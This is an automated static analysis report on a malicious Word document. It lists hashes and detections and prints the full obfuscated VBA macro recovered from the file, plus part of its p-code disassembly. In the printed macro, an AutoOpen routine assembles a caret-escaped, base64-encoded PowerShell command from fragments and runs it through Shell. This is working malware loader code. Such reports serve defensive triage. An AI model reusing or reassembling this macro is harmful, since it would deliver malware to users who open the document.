Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b084388b731ff295…

MALICIOUS

Office (OLE)

80.9 KB Created: 2018-08-20 23:15:00 Authoring application: Microsoft Office Word First seen: 2020-05-14
MD5: e7d96175a7219a3babe4f30b81b25b8c SHA-1: 13f789b60def5b5f8235c4571194cfc244073008 SHA-256: b084388b731ff2950f86d4bf4a8dd606d04dfa04a88f2e21652138b8f80e9cce
112 Risk Score

Heuristics 6

  • ClamAV: Doc.Malware.Generic-6665590-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6665590-0
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 43329 bytes
SHA-256: 842c0c8846fc65c6c542c27872ad5a5c80b8ea559e16a64b9bf14f66ab5d836b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
124 of 210 identifiers look randomly generated (e.g. 'zluKQzUPWvHqul') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "EzzcOWXo"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "zNfsPVjQYIuTH"
Function TSijcE()
On Error Resume Next
VarType Round(47782 / UiDBpz)
   IsArray 73757 / anEjSz
FCRjqN = "Md " + "/V^" + ":^oN^ ^" + " ^ ^ /" + "r " + CStr(Chr(ArrJmjcp + FsiPLLNMBD + 34 + PtZzsvZqT + MHZJlmpiWKqzf)) + " " + " Se" + "^T" + "    R^4" + "=p"
VarType CDate(rZdMbD)
   VarType 74346 + TEazl - 31026 + diNsu
   VarType Val(HzPfk)
zLfdnj = "^o" + "w^e" + "rs^" + "h^" + "e" + "/" + "/^ (e^ " + "^J^A" + "B" + "SAGg" + "AUA^A" + "^"
wwzGn = 31602 * QkVtk
   VarType 98614 * vvfoOu * 7304 + rbaJM
njnBwMfIiri = "9^" + "A^G^4A^" + "Z_" + "^B^3ACy" + "A" + "^b^w" + "^BiA" + "^G^o^A" + "^Z^_B" + "^jA:^_" + "^" + "A^" + "IA^"
IsArray CDec(190)
   VarType CVar(73650 + WsthLd)
   IsArray Sqr(59)
GRRMEh = "B^O^" + "A^GU^" + "Ad^A^" + "A^u^AFc" + "^A^Z^" + "_^Bi^A^" + "E^" + "MAb^A^" + "B" + "^p" + "A" + "^G^UA" + "bg^By"
IsArray CDbl(379021379)
Ewdwo = "^" + "A^D^" + "s" + "^A^JA^B" + "vAG" + "_^A_" + "^wA^9" + "^ACc" + "^A" + "^aA" + "By^A^:" + "_^AcA^" + "A^6"
IsArray FCrVnM * zhbwuO - 60031 + jIaShz
   IsArray 15204 / bjilo * KruMY / 87252
   IsArray wPBRUc * NQIUY - 44598 - mwlaaS
   wwzGn = CYAHFK - LRUzfd
fTzoHYDGEAi = "AC^8ALw" + "^BwAG^" + "M" + "^Acg" + "BjAG" + "^g^" + "Ab" + "^w^B^h^" + "AC^4" + "^A^" + "b^w" + "B,^A"
wwzGn = LwufMq - FKSai
   VarType 48469 * pScdk
   VarType HVINhl / HPvVch / Wazqz - kprkJF
NizYLWU = "GcA" + "^LwBO" + "AF^" + "U^" + "A" + "UABA^" + "A" + "G^g" + "AdA" + "B^y^"
IsArray 30497 / QVtLaB
   wwzGn = Tan(52936 * HLKRd * EcVTv / BqQqo)
IijDTQqSrsw = "A" + "^:A^A^" + "O^gAv^" + "AC8" + "A#_B" + "n^A^G" + "U^AbgB" + "^i" + "^A" + "^G^w^A" + "^#" + "_^"
wwzGn = Sin(10444236)
   wwzGn = CByte(666)
   wwzGn = Log(8)
zsNFAjPz = "Bj^AGsA" + "^agB" + "hA^G^" + "M^A^a" + "^wBz^A" + "GIAb^" + "w^B^" + "iAG^UA" + "^d^A^" + "A"
IsArray lSwrbG + ApRVu
   wwzGn = NzINdw - cMmvHW
   wwzGn = CDec(rYAjA)
uzQdUinPC = "^uAG4" + "A^Z^" + "_^By^AC" + "^8Ab_^B" + "_AE" + "A^A" + "a^" + "AByA:^" + "_Ac^A^" + "A^6^" + "A" + "C8^A" + "L^w^B^"
wwzGn = Cos(4073)
   wwzGn = ibNoUo - uDaEmi
   wwzGn = CDate(29297 * oodRS)
AnoKQnKUiS = "w^A" + "^G8Ac" + "g^" + "B^y^A^G" + "E^Ab" + "^" + "A^" + "B^" + "jAG8A" + "#_"
VarType QQOSDL + WSUEi / cfnzbW * kaXidX
   wwzGn = 61556 - wTvHEf * 21698 - cHTtiT
IPsWhIf = "Bj" + "A^G^g" + "^A^a^_" + "^B^u" + "^AG" + "c^A^Lg^" + "B/^A" + "^:^M^A" + "L^wBN"
IsArray TimeValue(zavIYU)
   wwzGn = CVar(DzjBps + 61823)
   wwzGn = 52795 + vkNwS / mNmkPY * jajQAb
SapXNLPN = "^A:^QA" + "_^w^BiA" + "G" + "Q^" + "A_^" + "wB#^" + "AGU" + "^A^" + "_" + "^AB^" + "o" + "A^:^_A" + "^d"
TSijcE = FCRjqN + zLfdnj + njnBwMfIiri + GRRMEh + Ewdwo + fTzoHYDGEAi + NizYLWU + IijDTQqSrsw + zsNFAjPz + uzQdUinPC + AnoKQnKUiS + IPsWhIf + SapXNLPN
   wwzGn = 76191 - wHMCv
   IsArray 19173 / BjoldL
End Function
Function WDNRLWzLoP()
On Error Resume Next
IsArray jucAGZ - 14756 - odjLFO * qpiMOL
KLPutUYzqi = "^A^B" + "^wA^Do" + "^AL" + "^" + "wAvA" + ":^o^A" + "^bw^At^" + "A:^IA" + "^#_"
wwzGn = thjlph / vKhAoi
   IsArray Val(EXsXn)
bQzJTEkCP = "B^Q^A^G" + "^" + "8^" + "A^b^_B" + "-^" + "A:^M" + "^A^b^A^"
IsArray CBool(hbVMR)
zhwriPvzj = "AuA^:A^" + "Ab^A^A" + "vA" + "GMAbw" + "B^t" + "A:A^A" + "b^w^Bu" + "^A" + "GUA" + "bg^By^A" + "^:^M" + "^A" + "L^w^B^"
wwzGn = Hex(DjChL)
   VarType Str(QdmdYd)
   IsArray Sqr(dFXvih)
QWtTZMfCqnY = "j^" + "A^G8^A" + "b^_B" + "^XA^" + ":A^AcgB" + "vA" + "^G#Ab^w" + "^" + "B^," + "^A^"
IsArray CDec(473)
   VarType cVKwR * isEFH * 69442 * qNdwC
iYkpv = "GyAc^w" + "Av^AGQ" + "^Ab^g^B" + "^jA" + "^" + "GwAd_B^" + "Q" + "A^GU" + "Ac" + "^w^AvA" + "EM^A" + "^" + "bgB^j"
WDNRLWzLoP = KLPutUYzqi + bQzJTEkCP + zhwriPvzj + QWtTZMfCqnY + iYkpv
   wwzGn = Int(3736)
   wwzGn = Val(37321 + GwMWZ)
   IsArray dDkNJi - vQPwXS + 24118 + njFuu
End Function
Function ROtmbGI()
On Error Resume Next
VarType CDbl(idsGL)
wFwszLRcCPv = "^A^EcA" + "^" + "_ABo^A" + ":^_A^d" + "A" + "^" + "B^wA^" + "Do^A^"
VarType Sin(AGIWS)
   wwzGn = Sqr(sIpsl)
BAbjXN = "Lw" + "AvAGU^" + "A^b^A^B" + "hA" + "^G" + "^4^A" + "^dA^B" + "/A:^gA^" + "L" + "^g^Bj" + "A^G^8^" + "Ab_Au"
IsArray CVar(UQcbDu)
   IsArray JhdOz - aKHYz
jCcGrTEMiSn = "A^:_" + "A^d^" + "wAvA^:" + "^MA^" + "J^" + "wAuAF^" + "M^A" + "cA^" + "Bs^" + "A^" + "GQ^A" + "^d" + "^"
VarType Val(qKFiY)
   VarType Str(VLoVTb)
   VarType Val(20)
   IsArray 94777 + jpjuOQ
   IsArray Str(DoSwhT)
OlNSMsAWYj = "A" + "^A^o^A" + "CcA_" + "A" + "An^A" + "C^Q^AOw" + "A" + "QA^F^M" + "ATgB)"
wwzGn = TimeValue(3)
   IsArray DIDJqH / VBHikm / ulzGjS - KjOFpd
   VarType 74626 / 88919
   wwzGn = CDec(JZpzCV)
jlwKF = "AC^AA" + "^" + "P" + "_^" + "Ag^ACc^" + "A^M" + "^w^" + "A^yAD" + "^A" + "AJ"
VarType ShSwu - lJOKlo
   IsArray Month(54398 + 78279)
   IsArray Val(6)
qUEaJwC = "^wA^[A" + "C^_" + "^A" + "d^" + "_^" + "B^#" + "AF^g"
VarType IYDjs / vGvfJi
   wwzGn = Round(93)
   VarType CDate(5)
   IsArray Sin(63948691)
   wwzGn = Int(75451 - shpmjV)
hLINvJuh = "^A" + "^P_A^Q" + "AG" + "^UA" + "^b^gB^%" + "A^D" + "o^AcA"
VarType CStr(Sdwwp)
   IsArray 64035 - haAcMK * PKIBMl - zdswGw
   IsArray Sgn(zRlcRs * APMra)
dvcSNX = "^B" + "^" + "1^AG^I" + "Ab" + "A^B^p^" + "AGM^A" + ")^wAn" + "^AF^w" + "^AJ^w^A" + "r^AC_A" + "^U^w^B^" + "OA^EoA"
ROtmbGI = wFwszLRcCPv + BAbjXN + jCcGrTEMiSn + OlNSMsAWYj + jlwKF + qUEaJwC + hLINvJuh + dvcSNX
   wwzGn = Rnd(StkDtY + NrYSiT)
End Function
Function mHhNfaYQ()
On Error Resume Next
VarType 81068 - wlcirj
   VarType 68710 / JspVKz * 62859 / ZEVvjY
wJBHwNzTqmQ = ")wAn" + "A" + "C4^AZ^_" + "^B4^AGU" + "AJwA^[A" + "^G#^A^" + "b" + "^w" + "^B^," + "A^G^U" + "A#^_BjA" + "G^g^"
wwzGn = Int(EwOFvY)
   VarType CByte(bQqRb)
HNZcIwb = "A)" + "^A^AQA" + ":UA^W^A" + "B^6^A" + "CA^" + "A^a^" + "_Bu" + "AC^AA" + "J^ABv"
wwzGn = Sgn(2)
   wwzGn = CDate(65)
rUjipiB = "^AG" + "_A^_^w^" + "A^pA:s" + "^AdA^" + "B," + "A:^QA^" + "ew^AQ" + "A^F^" + "I"
VarType CDate(ihqNw)
   IsArray 55728 * jJTfZr / 57922 / QQlBV
   IsArray 85425 * VNUzp
   IsArray UnONQd + itVkNU
vAbojEQEkzr = "A^aA" + "B_A" + "C4A" + "R^A" + "Bv^A:c^"
IsArray nffwwS / 3037
   wwzGn = Sin(5)
SKrjjG = "AbgB" + "sA^" + "G^8^A#" + "^_^" + "B^Q^" + "A^E#Aa"
VarType Round(iQZTP * iNHvbQ)
   IsArray Str(nHchsr - iEwzX)
   VarType CStr(ETziS)
kQbjPdLkN = "_" + "B^" + "sA^G" + "^" + "UA" + ")" + "^A^A^Q^" + "A:^U^"
mHhNfaYQ = wJBHwNzTqmQ + HNZcIwb + rUjipiB + vAbojEQEkzr + SKrjjG + kQbjPdLkN
   wwzGn = 74609 / JIqCN / 55317 / hUzAW
   VarType CDate(19136 - jtJKiw)
   wwzGn = Month(HsitzE)
End Function
Function cVHlkvDjXrb()
On Error Resume Next
wwzGn = 48167 - fOpIhq - 61886 / kLXvkO
PinVTYd = "A" + "^W^" + "AB^6" + "ACw" + "AI" + "^" + "A" + "A" + "Q" + "A^"
IsArray 77359 / 97596
XEXAaYOdQM = ":UA^WA" + "B^#^AC^" + "QA^O" + "wBJ^A^" + "G^4^" + "A^" + "d^g^" + "Bv" + "^A^G^s"
IsArray CByte(2647)
   IsArray Round(lVQvc + BdSAR)
   IsArray Cos(1827359)
GkfavfIL = "^A^Z_^A" + "^t^A" + "^EQ" + "Ad^A" + "^B" + "/^A^Gy^" + "AI^AAQ" + "A:^U^" + "AW" + "^AB^" + "#ADsA^" + "#g^B"
VarType Xrbts + NEjiI / 34822 / GmlvM
   VarType dkScES - FRwFu
   VarType Oct(373780267)
AzYPuU = ",^" + "AG^UA^#" + "^_Br^A^" + "DsAX" + "^_Bj^A" + "^" + "G" + "E^" + "A^d" + "^A^B^j"
wwzGn = Month(kEOTS - ijEHk / 68861 + tSXZza)
   VarType mzwzqz + 60071
tNqjfwSMvR = "A^G" + "^g^" + "Ae^w" + "B9^A^" + ":^yA^" + "IAA" + "g^A" + "C^A^A^" + "IA" + "^Ag^" + "A" + "C^" + "A"
IsArray 88046 * wHSTcM
   wwzGn = CDate(woREi)
   wwzGn = uawLz / fKzXN + 64836 / LZYRW
   wwzGn = CDate(12521527)
   wwzGn = Atn(YtnmNa - NiYbX * 46011 + TMTNVP)
Ejlnz = "^A" + "^I^AA" + "gAC^A^" + "AIA" + "AgAC" + "A^A" + "^I^A" + "^AgAC^"
VarType CDate(vGzBjD - zZWWGo)
jpIJAa = "AAIA" + "^A^" + "gAA=^=" + "&&  " + " " + "SE^T" + "  ^" + " ^Hb^" + "T=" + "^!R4"
wwzGn = Second(jCwBE + bwhZpf)
   wwzGn = onmiSI / YIEuH
   wwzGn = TMbnht - FZnWG - 16145 - hmRAPs
   wwzGn = zDicz + AjXvRZ
wOzVfttzu = ":^[=^7!" + "&   " + " " + "S" + "E" + "^" + "T ^ " + "9^S" + "=^!^" + "H^b" + "^T^:" + "^Q^" + "=^"
VarType Sqr(32144 * piIODP)
PRiowvsiHWQ = "k^!" + "&   S^E" + "^T ^  ^" + " ^g^O" + "C=!9^S" + ":^y^=^0" + "^!&&S" + "e^T " + "^  ^BO=" + "!^g^OC" + "^:-=5^!" + "& S^eT" + " ^1^Ic^"
cVHlkvDjXrb = PinVTYd + XEXAaYOdQM + GkfavfIL + AzYPuU + tNqjfwSMvR + Ejlnz + jpIJAa + wOzVfttzu + PRiowvsiHWQ
   IsArray TimeValue(980)
   wwzGn = Tan(hjBWEm)
End Function
Function hNXiX()
On Error Resume Next
VarType ESaBo / hTCbf
   wwzGn = jImGcE / ttGzn - fFkGWa + ZlYqkY
LUDchY = "s=!^B" + "^" + "O:_^" + "=Q^!&&" + " " + "s" + "^E^t ^ " + "^"
wwzGn = CDate(jvzjzm)
   VarType Int(rQnDcR)
   VarType Sin(58746 + 71344 + 34361 + jwWErJ)
   IsArray Round(41673 / 17006 - 14062 * uBWQTj)
   wwzGn = Val(Xplkld / CjjjF)
CjhMQYdUDf = " " + " t^K^Y" + "=!^1^Ic" + "^s" + "^:)^=" + "K!&  S" + "^E^T ^" + "bs" + "=!t^K^Y" + ":" + "%^="
wwzGn = Str(40377 + zfjBY)
   IsArray CCur(36353 * jhbvvU * ilBFO + 96013)
ZwvoSWKc = "^2" + "!&" + "&   " + "s^e^T" + "  " + "^ ^  ^O"
VarType TypeName(1095)
   IsArray 4275 / wzODc
iEwaMOWFmTU = "qE^d" + "=!^b^s" + "^::^" + "=^H!&  " + "s" + "^E^T " + "^"
VarType CDec(742)
zzFCbqL = " ^ " + "^" + " ^g" + "^wb=" + "!^O^qE" + "^d:/=" + "l!&" + "    " + "sE^" + "t"
VarType Rnd(EVORH)
   IsArray RLasYX * XKaIdq
   wwzGn = CDbl(501)
   IsArray Val(90368 / DvDRHw)
FjtGQjKmHni = "  " + " " + " bo^A^f" + "=^!^" + "g^" + "w^" + "b:(=-!&" + "&  " + "  s^et " + "^G^ob" + "=^!^b" + "o^A^"
VarType 26737 + 80988
   wwzGn = 4474 / fwjHj + 80228 / hrKfo
   IsArray CCur(80900 + cukdkR - EdOrb / mUwUjs)
HpIBi = "f^:,^=" + "^y" + "!&&" + "S^E" + "t  ^ ^d" + "7^5n" + "=!"
IsArray UnuIHv + ooiVl
bTUWFZo = "^G^o" + "^" + "b" + ":#" + "=^Y!&&" + "  S^e^t"
wwzGn = Second(zwXjv)
   VarType TimeValue(KOozc)
VAUjUQpFIh = " ^ ^H" + "I=^!" + "^d7" + "^5n:" + "X^" + "=^f^!&" + "c^A^lL " + " %^HI% " + CStr(Chr(RVaMkPik + jprjPXESERHlCb + 34 + ZKFZwurf + PHCYhXz)) + "  "
hNXiX = LUDchY + CjhMQYdUDf + ZwvoSWKc + iEwaMOWFmTU + zzFCbqL + FjtGQjKmHni + HpIBi + bTUWFZo + VAUjUQpFIh
   VarType Second(25)
End Function


Attribute VB_Name = "kunZYXl"

Sub AutoOpen()
On Error Resume Next
Shell% KeyString(zKhczBBPjhALH + ZmiBLflBXdh + 67 + WqnCOVuSIpNl + iKcrALYiFwXn) + IKwRbRtq + zluKQzUPWvHqul + TSijcE + WDNRLWzLoP + ROtmbGI + mHhNfaYQ + cVHlkvDjXrb + hNXiX + LrkriaNiJ + wKYqnRiuOQONI, 533274530 - 533274530
End Sub


' Processing file: /opt/analyzer/scan_staging/bdecc3a255404bfda252fc5022ea1790.bin
' ===============================================================================
' Module streams:
' Macros/VBA/EzzcOWXo - 1106 bytes
' Macros/VBA/zNfsPVjQYIuTH - 19042 bytes
' Line #0:
' 	FuncDefn (Function TSijcE())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	LitDI4 0xBAA6 0x0000 
' 	Ld UiDBpz 
' 	Div 
' 	ArgsLd Round 0x0001 
' 	ArgsCall VarType 0x0001 
' Line #3:
' 	LitDI4 0x201D 0x0001 
' 	Ld anEjSz 
' 	Div 
' 	ArgsCall IsArray 0x0001 
' Line #4:
' 	LitStr 0x0003 "Md "
' 	LitStr 0x0003 "/V^"
' 	Add 
' 	LitStr 0x0007 ":^oN^ ^"
' 	Add 
' 	LitStr 0x0006 " ^ ^ /"
' 	Add 
' 	LitStr 0x0002 "r "
' 	Add 
' 	Ld ArrJmjcp 
' 	Ld FsiPLLNMBD 
' 	Add 
' 	LitDI2 0x0022 
' 	Add 
' 	Ld PtZzsvZqT 
' 	Add 
' 	Ld MHZJlmpiWKqzf 
' 	Add 
' 	ArgsLd Chr 0x0001 
' 	Coerce (Str) 
' 	Add 
' 	LitStr 0x0001 " "
' 	Add 
' 	LitStr 0x0003 " Se"
' 	Add 
' 	LitStr 0x0002 "^T"
' 	Add 
' 	LitStr 0x0007 "    R^4"
' 	Add 
' 	LitStr 0x0002 "=p"
' 	Add 
' 	St FCRjqN 
' Line #5:
' 	Ld rZdMbD 
' 	Coerce (Date) 
' 	ArgsCall VarType 0x0001 
' Line #6:
' 	LitDI4 0x226A 0x0001 
' 	Ld TEazl 
' 	Add 
' 	LitDI2 0x7932 
' 	Sub 
' 	Ld diNsu 
' 	Add 
' 	ArgsCall VarType 0x0001 
' Line #7:
' 	Ld HzPfk 
' 	ArgsLd Val 0x0001 
' 	ArgsCall VarType 0x0001 
' Line #8:
' 	LitStr 0x0002 "^o"
' 	LitStr 0x0003 "w^e"
' 	Add 
' 	LitStr 0x0003 "rs^"
' 	Add 
' 	LitStr 0x0002 "h^"
' 	Add 
' 	LitStr 0x0001 "e"
' 	Add 
' 	LitStr 0x0001 "/"
' 	Add 
' 	LitStr 0x0007 "/^ (e^ "
' 	Add 
' 	LitStr 0x0004 "^J^A"
' 	Add 
' 	LitStr 0x0001 "B"
' 	Add 
' 	LitStr 0x0004 "SAGg"
' 	Add 
' 	LitStr 0x0005 "AUA^A"
' 	Add 
' 	LitStr 0x0001 "^"
' 	Add 
' 	St zLfdnj 
' Line #9:
' 	LitDI2 0x7B72 
' 	Ld QkVtk 
' 	Mul 
' 	St wwzGn 
' Line #10:
' 	LitDI4 0x8136 0x0001 
' 	Ld vvfoOu 
' 	Mul 
' 	LitDI2 0x1C88 
' 	Mul 
' 	Ld rbaJM 
' 	Add 
' 	ArgsCall VarType 0x0001 
' Line #11:
' 	LitStr 0x0002 "9^"
' 	LitStr 0x0007 "A^G^4A^"
' 	Add 
' 	LitStr 0x0002 "Z_"
' 	Add 
' 	LitStr 0x0007 "^B^3ACy"
' 	Add 
' 	LitStr 0x0001 "A"
' 	Add 
' 	LitStr 0x0004 "^b^w"
' 	Add 
' 	LitStr 0x0004 "^BiA"
' 	Add 
' 	LitStr 0x0006 "^G^o^A"
' 	Add 
' 	LitStr 0x0005 "^Z^_B"
' 	Add 
' 	LitStr 0x0006 "^jA:^_"
' 	Add 
' 	LitStr 0x0001 "^"
' 	Add 
' 	LitStr 0x0002 "A^"
' 	Add 
' 	LitStr 0x0003 "IA^"
' 	Add 
' 	St njnBwMfIiri 
' Line #12:
' 	LitDI2 0x00BE 
' 	ArgsLd CDec 0x0001 
' 	ArgsCall IsArray 0x0001 
' Line #13:
' 	LitDI4 0x1FB2 0x0001 
' 	Ld WsthLd 
' 	Add 
' 	Coerce (Var) 
' 	ArgsCall VarType 0x0001 
' Line #14:
' 	LitDI2 0x003B 
' 	ArgsLd Sqr 0x0001 
' 	ArgsCall IsArray 0x0001 
' Line #15:
' 	LitStr 0x0004 "B^O^"
' 	LitStr 0x0005 "A^GU^"
' 	Add 
' 	LitStr 0x0005 "Ad^A^"
' 	Add 
' 	LitStr 0x0007 "A^u^AFc"
' 	Add 
' 	LitStr 0x0005 "^A^Z^"
' 	Add 
' 	LitStr 0x0007 "_^Bi^A^"
' 	Add 
' 	LitStr 0x0002 "E^"
' 	Add 
' 	LitStr 0x0006 "MAb^A^"
' 	Add 
' 	LitStr 0x0001 "B"
' 	Add 
' 	LitStr 0x0002 "^p"
' 	Add 
' 	LitStr 0x0001 "A"
' 	Add 
' 	LitStr 0x0005 "^G^UA"
' 	Add 
' 	LitStr 0x0005 "bg^By"
' 	Add 
' 	St GRRMEh 
' Line #16:
' 	LitDI4 0x6843 0x1697 
' 	Coerce (Dbl) 
' 	ArgsCall IsArray 0x0001 
' Line #17:
' 	LitStr 0x0001 "^"
' 	LitStr 0x0004 "A^D^"
' 	Add 
' 	LitStr 0x0001 "s"
' 	Add 
' 	LitStr 0x0007 "^A^JA^B"
' 	Add 
' 	LitStr 0x0003 "vAG"
' 	Add 
' 	LitStr 0x0004 "_^A_"
' 	Add 
' 	LitStr 0x0005 "^wA^9"
' 	Add 
' 	LitStr 0x0004 "^ACc"
' 	Add 
' 	LitStr 0x0002 "^A"
' 	Add 
' 	LitStr 0x0003 "^aA"
' 	Add 
' 	LitStr 0x0006 "By^A^:"
' 	Add 
' 	LitStr 0x0006 "_^AcA^"
' 	Add 
' 	LitStr 0x0003 "A^6"
' 	Add 
' 	St Ewdwo 
' Line #18:
' 	Ld FCrVnM 
' 	Ld zhbwuO 
' 	Mul 
' 	LitDI4 0xEA7F 0x0000 
' 	Sub 
' 	Ld jIaShz 
' 	Add 
' 	ArgsCall IsArray 0x0001 
' Line #19:
' 	LitDI2 0x3B64 
' 	Ld bjilo 
' 	Div 
' 	Ld KruMY 
' 	Mul 
' 	LitDI4 0x54D4 0x0001 
' 	Div 
' 	ArgsCall IsArray 0x0001 
' Line #20:
' 	Ld wPBRUc 
' 	Ld NQIUY 
' 	Mul 
' 	LitDI4 0xAE36 0x0000 
' 	Sub 
' 	Ld mwlaaS 
' 	Sub 
' 	ArgsCall IsArray 0x0001 
' Line #21:
' 	Ld CYAHFK 
' 	Ld LRUzfd 
' 	Sub 
' 	St wwzGn 
' Line #22:
' 	LitStr 0x0007 "AC^8ALw"
' 	LitStr 0x0006 "^BwAG^"
' 	Add 
' 	LitStr 0x0001 "M"
' 	Add 
' 	LitStr 0x0004 "^Acg"
' 	Add 
' 	LitStr 0x0004 "BjAG"
' 	Add 
' 	LitStr 0x0003 "^g^"
' 	Add 
' 	LitStr 0x0002 "Ab"
' 	Add 
' 	LitStr 0x0007 "^w^B^h^"
' 	Add 
' 	LitStr 0x0004 "AC^4"
' 	Add 
' 	LitStr 0x0003 "^A^"
' 	Add 
' 	LitStr 0x0003 "b^w"
' 	Add 
' 	LitStr 0x0004 "B,^A"
' 	Add 
' 	St fTzoHYDGEAi 
' Line #23:
' 	Ld LwufMq 
' 	Ld FKSai 
' 	Sub 
' 	St wwzGn 
' Line #24:
' 	LitDI4 0xBD55 0x0000 
' 	Ld pScdk 
' 	Mul 
' 	ArgsCall VarType 0x0001 
' Line #25:
' 	Ld HVINhl 
' 	Ld HPvVch 
' 	Div 
' 	Ld Wazqz 
' 	Div 
' 	Ld kprkJF 
' 	Sub 
' 	ArgsCall VarType 0x0001 
' Line #26:
' 	LitStr 0x0003 "GcA"
' 	LitStr 0x0005 "^LwBO"
' 	Add 
' 	LitStr 0x0003 "AF^"
' 	Add 
' 	LitStr 0x0002 "U^"
' 	Add 
' 	LitStr 0x0001 "A"
' 	Add 
' 	LitStr 0x0005 "UABA^"
' 	Add 
' 	LitStr 0x0001 "A"
' 	Add 
' 	LitStr 0x0003 "G^g"
' 	Add 
' 	LitStr 0x0003 "AdA"
' 	Add 
' 	LitStr 0x0004 "B^y^"
' 	Add 
' 	St NizYLWU 
' Line #27:
' 	LitDI2 0x7721 
' 	Ld QVtLaB 
' 	Div 
' 	ArgsCall IsArray 0x0001 
' Line #28:
' 	LitDI4 0xCEC8 0x0000 
' 	Ld HLKRd 
' 	Mul 
' 	Ld EcVTv 
' 	Mul 
' 	Ld BqQqo 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	St wwzGn 
' Line #29:
' 	LitStr 0x0001 "A"
' 	LitStr 0x0006 "^:A^A^"
' 	Add 
' 	LitStr 0x0006 "O^gAv^"
' 	Add 
' 	LitStr 0x0003 "AC8"
' 	Add 
' 	LitStr 0x0004 "A#_B"
' 	Add 
' 	LitStr 0x0005 "n^A^G"
' 	Add 
' 	LitStr 0x0006 "U^AbgB"
' 	Add 
' 	LitStr 0x0002 "^i"
' 	Add 
' 	LitStr 0x0002 "^A"
' 	Add 
' 	LitStr 0x0006 "^G^w^A"
' 	Add 
' 	LitStr 0x0002 "^#"
' 	Add 
' 	LitStr 0x0002 "_^"
' 	Add 
' 	St IijDTQqSrsw 
' Line #30:
' 	LitDI4 0x5DCC 0x009F 
' 	ArgsLd Sin 0x0001 
' 	St wwzGn 
' Line #31:
' 	LitDI2 0x029A 
' 	Coerce (Byte) 
' 	St wwzGn 
' Line #32:
' 	LitDI2 0x0008 
' 	ArgsLd Log 0x0001 
' 	St wwzGn 
' Line #33:
' 	LitStr 0x0007 "Bj^AGsA"
' 	LitStr 0x0004 "^agB"
' 	Add 
' 	LitStr 0x0005 "hA^G^"
' 	Add 
' 	LitStr 0x0005 "M^A^a"
' 	Add 
' 	LitStr 0x0006 "^wBz^A"
' 	Add 
' 	LitStr 0x0005 "GIAb^"
' 	Add 
' 	LitStr 0x0004 "w^B^"
' 	Add 
' 	LitStr 0x0006 "iAG^UA"
' 	Add 
' 	LitStr 0x0005 "^d^A^"
' 	Add 
' 	LitStr 0x0001 "A"
' 	Add 
' 	St zsNFAjPz 
' Line #34:
' 	Ld lSwrbG 
' 	Ld ApRVu 
' 	Add 
' 	ArgsCall IsArray 0x0001 
' Line #35:
' 	Ld NzINdw 
' 	Ld cMmvHW 
' 	Sub 
' 	St wwzGn 
' Line #36:
' 	Ld rYAjA 
' 	ArgsLd CDec 0x0001 
' 	St wwzGn 
' Line #37:
' 	LitStr 0x0005 "^uAG4"
' 	LitStr 0x0004 "A^Z^"
' 	Add 
' 	LitStr 0x0007 "_^By^AC"
' 	Add 
' 	LitStr 0x0007 "^8Ab_^B"
' 	Add 
' 	LitStr 0x0003 "_AE"
' 	Add 
' 	LitStr 0x0003 "A^A"
' 	Add 
' 	LitStr 0x0002 "a^"
' 	Add 
' 	LitStr 0x0006 "AByA:^"
' 	Add 
' 	LitStr 0x0006 "_Ac^A^"
' 	Add 
' 	LitStr 0x0004 "A^6^"
' 	Add 
' 	LitStr 0x0001 "A"
' 	Add 
' 	LitStr 0x0004 "C8^A"
' 	Add 
' 	LitStr 0x0006 "L^w^B^"
' 	Add 
' 	St uzQdUinPC 
' Line #38:
' 	LitDI2 0x0FE9 
' 	ArgsLd Cos 0x0001 
' 	St wwzGn 
' Line #39:
' 	Ld ibNoUo 
' 	Ld uDaEmi 
' 	Sub 
' 	St wwzGn 
' Line #40:
' 	LitDI2 0x7271 
' 	Ld oodRS 
' 	Mul 
' 	Coerce (Date) 
' 	St wwzGn 
' Line #41:
' 	LitStr 0x0003 "w^A"
' 	LitStr 0x0005 "^G8Ac"
' 	Add 
' 	LitStr 0x0002 "g^"
' 	Add 
' 	LitStr 0x0007 "B^y^A^G"
' 	Add 
' 	LitStr 0x0004 "E^Ab"
' 	Add 
' 	LitStr 0x0001 "^"
' 	Add 
' 	LitStr 0x0002 "A^"
' 	Add 
' 	LitStr 0x0002 "B^"
' 	Add 
' 	LitStr 0x0005 "jAG8A"
' 	Add 
' 	LitStr 0x0002 "#_"
' 	Add 
' 	St AnoKQnKUiS 
' Line #42:
' 	Ld QQOSDL 
' 	Ld WSUEi 
' 	Ld cfnzbW 
' 	Div 
' 	Ld kaXidX 
' 	Mul 
' 	Add 
' 	ArgsCall VarType 0x0001 
' Line #43:
' 	LitDI4 0xF074 0x0000 
' 	Ld wTvHEf 
' 	LitDI2 0x54C2 
' 	Mul 
' 	Sub 
' 	Ld cHTtiT 
' 	Sub 
' 	St wwzGn 
' Line #44:
' 	LitStr 0x0002 "Bj"
' 	LitStr 0x0005 "A^G^g"
' 	Add 
' 	LitStr 0x0006 "^A^a^_"
' 	Add 
